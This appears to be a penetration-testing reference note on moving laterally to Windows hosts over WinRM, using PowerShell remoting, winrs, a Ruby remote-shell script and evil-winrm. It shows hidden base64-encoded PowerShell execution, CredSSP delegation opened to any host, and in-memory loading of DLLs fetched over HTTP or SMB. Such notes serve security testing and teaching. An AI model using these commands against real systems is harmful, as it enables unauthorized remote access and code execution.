Over WinRM
PowerShell's WinRM remoting
Windows Remote Management (WinRM)
is the Microsoft implementation of WS-Management Protocol, a standard Simple Object Access Protocol (SOAP
)-based, protocol that allows hardware and operating systems, from different vendors, to interoperate. By default, WinRM
uses the TCP
ports 5985 and 5986 for connections, respectively over HTTP
and HTTPS
. For more information about WinRM
itself, refer to the L7 - 5985-5986 WSMan
note.
Multiples cmdlets are incorporated into the PowerShell core to execute commands remotely through WinRM
, also known as PowerShell Remoting
. Through PowerShell Remoting
, unitary commands can be executed or full PowerShell sessions can be established.
Members of the Windows built-in Administrators
and Remote Management Users
groups are allowed, by default, to access a remote machine through WinRM
:
(Get-PSSessionConfiguration -Name Microsoft.PowerShell).Permission
NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users AccessAllowed
Refer to the [L7] 5985-5986 WSMan
note for the listing of the different authentication mechanisms supported by WinRM
.
PowerShell Remoting
can be conducted through HTTP
/ HTTPS
proxies, if necessary. The proxy settings can be specified through the Internet Options
graphical utility and set as the system-wide Microsoft Windows HTTP Services (WinHTTP)
proxy using netsh
.
Control Panel -> Internet Options -> Connections -> LAN settings
"Use a proxy server for your LAN [...]" checked
(Optional) "Bypass proxy server for local addresses" checked
Advanced -> (For WinRM over HTTP, port TCP 5985) HTTP: <127.0.0.1 | HTTP_PROXY_IP> <HTTP_PROXY_PORT>
-> (For WinRM over HTTPS, port TCP 5986) Secure: <127.0.0.1 | HTTPS_PROXY_IP> <HTTPS_PROXY_PORT>
netsh winhttp import proxy source=ie
# Lists the configured proxies.
netsh winhttp dump
[...]
set proxy proxy-server="http=<HTTP_PROXY_IP>:<HTTP_PROXY_PORT>;https=<HTTPS_PROXY_IP>:<HTTPS_PROXY_PORT>" bypass-list="<local>"
# Restore the WinHTTP default proxy settings (no proxies).
netsh winhttp reset proxy
The Invoke-Command
, Enter-PSSession
, and New-PSSession
PowerShell cmdlets can be used to execute commands on a remote host through WinRM
:
# PowerShell built-in cmdlets.
$user = '<DOMAIN | WORKGROUP>\<USERNAME>';
$pass = '<PASSWORD>';
$spass = ConvertTo-SecureString -AsPlainText $pass -Force;
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList $user,$spass;
# Executes a PowerShell single command.
Invoke-Command -ComputerName <HOSTNAME | IP> -Credential $creds -ScriptBlock { <POWERSHELL> };
# Enters an interactive PowerShell session.
Enter-PSSession -ComputerName <HOSTNAME | IP> -Credential $creds
# Creates an interactive PowerShell session that can be used to execute further commands, transfer files, or enter an interactive session.
$s = New-PSSession [-Credential <PSCredential>] -ComputerName <HOSTNAME | IP>
Invoke-Command -Session $s -ScriptBlock { <POWERSHELL> }
Enter-PSSession -Session $s
Copy-Item -FromSession $s -Destination "<LOCAL_PATH>" "<REMOTE_FILE_PATH>"
Copy-Item -ToSession $s -Destination "<REMOTE_PATH>" "<LOCAL_FILE_PATH>"
Remove-PSSession -Session $s
# winrs utility.
# WinRM over HTTP 5985.
winrs /noprofile -r:<HOSTNAME | IP> -u:<DOMAIN | WORKGROUP>\<USERNAME> -p:<PASSWORD> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <BASE64_ENCODED_POWERSHELL>
# WinRM over HTTPS 5986.
winrs /noprofile /usessl -r:<HOSTNAME | IP> -u:<DOMAIN | WORKGROUP>\<USERNAME> -p:<PASSWORD> C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <BASE64_ENCODED_POWERSHELL>
To solve the "double hop" authentication problem, which occurs whenever trying to access resources on a third server from the first remotely connected server, the CredSSP
authentication mechanism can be used. Simply put, the problem happens because credentials are not allowed for delegation and thus can't be passed whenever accessing network resources from the remotely connected system. All access ends up being unauthenticated and results in Access denied
errors.
Supports for CredSSP
must be activated and configured on the client attacking system. The configuration below allows delegation to any system.
winrm quickconfig
Set-Item WSMan:localhost\client\trustedhosts -value *
Enable-WSManCredSSP -Role "Client" -DelegateComputer "*"
Start gpedit.msc
-> "Local Computer Policy" -> "Computer Configuration" -> "Administrative Templates" -> "System" -> "Credential Delegation"
-> In the "Settings" pane, "Allow Delegating Fresh Credentials with NTLM-only Server Authentication". -> "Enabled"
-> And in the "Options" area, "Show" -> "Value" = WSMAN/*
-> "Concatenate OS defaults with input above" checked
Once CredSSP
is activated and correctly configured, the PowerShell cmdlets Invoke-Command
and Enter-PSSession
can be used with the -Authentication CredSSP
option to make connections using CredSSP
.
WinRM remoting from Linux
The following ruby
script can be used to start a PowerShell session on a distant Windows system through a WinRM
service:
require 'winrm'
# Author: Alamot
conn = WinRM::Connection.new(
endpoint: 'http://<IP>:<PORT/wsman',
transport: :ssl,
user: '<USERNAME>',
password: '<PASSWORD>',
:no_ssl_peer_verification => true
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
Note that the script does not support CredSSP
authentication and is thus prone to the "double hop" authentication problem.
The evil-winrm
ruby
extend the code above with a number of functionality, such as command history and completion, upload and download of files, loading of in memory of PowerShell
scripts, dll or C#
binary, etc.
evil-winrm -u <USERNAME> -p '<PASSWORD>' -i <HOSTNAME | IP> -s <LOCAL_PATH_PS_SCRIPTS> -e <LOCAL_PATH_EXE_SCRIPTS>
Supported commands:
download <REMOTE_PATH> <LOCAL_PATH>
Download remote file. LOCAL_PATH is not required
upload <LOCAL_PATH> <REMOTE_PATH>
Download remote file.
services
List Windows services and the associated binaries paths
<PS_NAME.ps1>
Load the specified PowerShell script in memory. The PowerShell script must be in the path set at -s argument when the evil-winrm shell was started.
menu
can be used to list the loaded cmdlets.
Invoke-Binary <LOCAL_BINARY_PATH>
Load the specified binary, compiled from C#
, to be executed in memory. Accepts up to 3 arguments
l04d3r-LoadDll
Load dll libraries in memory, equivalent to: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
l04d3r-LoadDll -smb -path \\<HOSTNAME | IP>\\<SHARE>\\<DLL>
l04d3r-LoadDll -local -path <LOCAL_DLL_PATH>
l04d3r-LoadDll -http -path http://<URL>/<DLL>
Last updated